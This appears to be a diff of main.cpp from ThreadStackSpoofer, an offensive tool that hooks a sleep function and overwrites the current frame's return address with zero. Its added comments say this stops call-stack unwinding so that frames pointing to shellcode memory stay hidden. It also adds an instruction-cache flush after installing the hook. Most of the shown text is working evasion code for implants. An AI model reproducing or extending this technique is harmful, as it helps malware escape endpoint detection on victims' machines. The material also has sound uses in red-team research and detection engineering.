■ ■ ■ ■ ■ ■ ■
ThreadStackSpoofer/main.cpp
| skipped 8 lines |
9 | 9 | | { |
10 | 10 | | const register DWORD dwMilliseconds = _dwMilliseconds; |
11 | 11 | | |
12 | | - | // Perform this (current) thread call stack spoofing. |
| 12 | + | // |
| 13 | + | // Locate this stack frame's return address. |
| 14 | + | // |
13 | 15 | | PULONG_PTR overwrite = (PULONG_PTR)_AddressOfReturnAddress(); |
14 | 16 | | const register ULONG_PTR origReturnAddress = *overwrite; |
15 | 17 | | |
16 | | - | log("[>] Original return address: 0x", std::hex, std::setw(8), std::setfill('0'), origReturnAddress, ". Finishing call stack..."); |
| 18 | + | log("[>] Original return address: 0x", |
| 19 | + | std::hex, std::setw(8), std::setfill('0'), origReturnAddress, |
| 20 | + | ". Finishing call stack..."); |
| 21 | + | |
| 22 | + | // |
| 23 | + | // By overwriting the return address with 0 we're basically telling call stack unwinding algorithm |
| 24 | + | // to stop unwinding call stack any further, as there further frames. This we can hide our remaining stack frames |
| 25 | + | // referencing shellcode memory allocation from residing on a call stack. |
| 26 | + | // |
17 | 27 | | *overwrite = 0; |
18 | 28 | | |
19 | 29 | | log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n"); |
| skipped 72 lines |
92 | 102 | | output = true; |
93 | 103 | | } |
94 | 104 | | } |
| 105 | + | |
| 106 | + | static typeNtFlushInstructionCache pNtFlushInstructionCache = NULL; |
| 107 | + | if (!pNtFlushInstructionCache) |
| 108 | + | pNtFlushInstructionCache = (typeNtFlushInstructionCache) |
| 109 | + | GetProcAddress(GetModuleHandleA("ntdll"), "NtFlushInstructionCache"); |
| 110 | + | |
| 111 | + | // |
| 112 | + | // We're flushing instructions cache just in case our hook didn't kick in immediately. |
| 113 | + | // |
| 114 | + | if (pNtFlushInstructionCache) |
| 115 | + | pNtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize); |
95 | 116 | | |
96 | 117 | | ::VirtualProtect( |
97 | 118 | | addressToHook, |
| skipped 170 lines |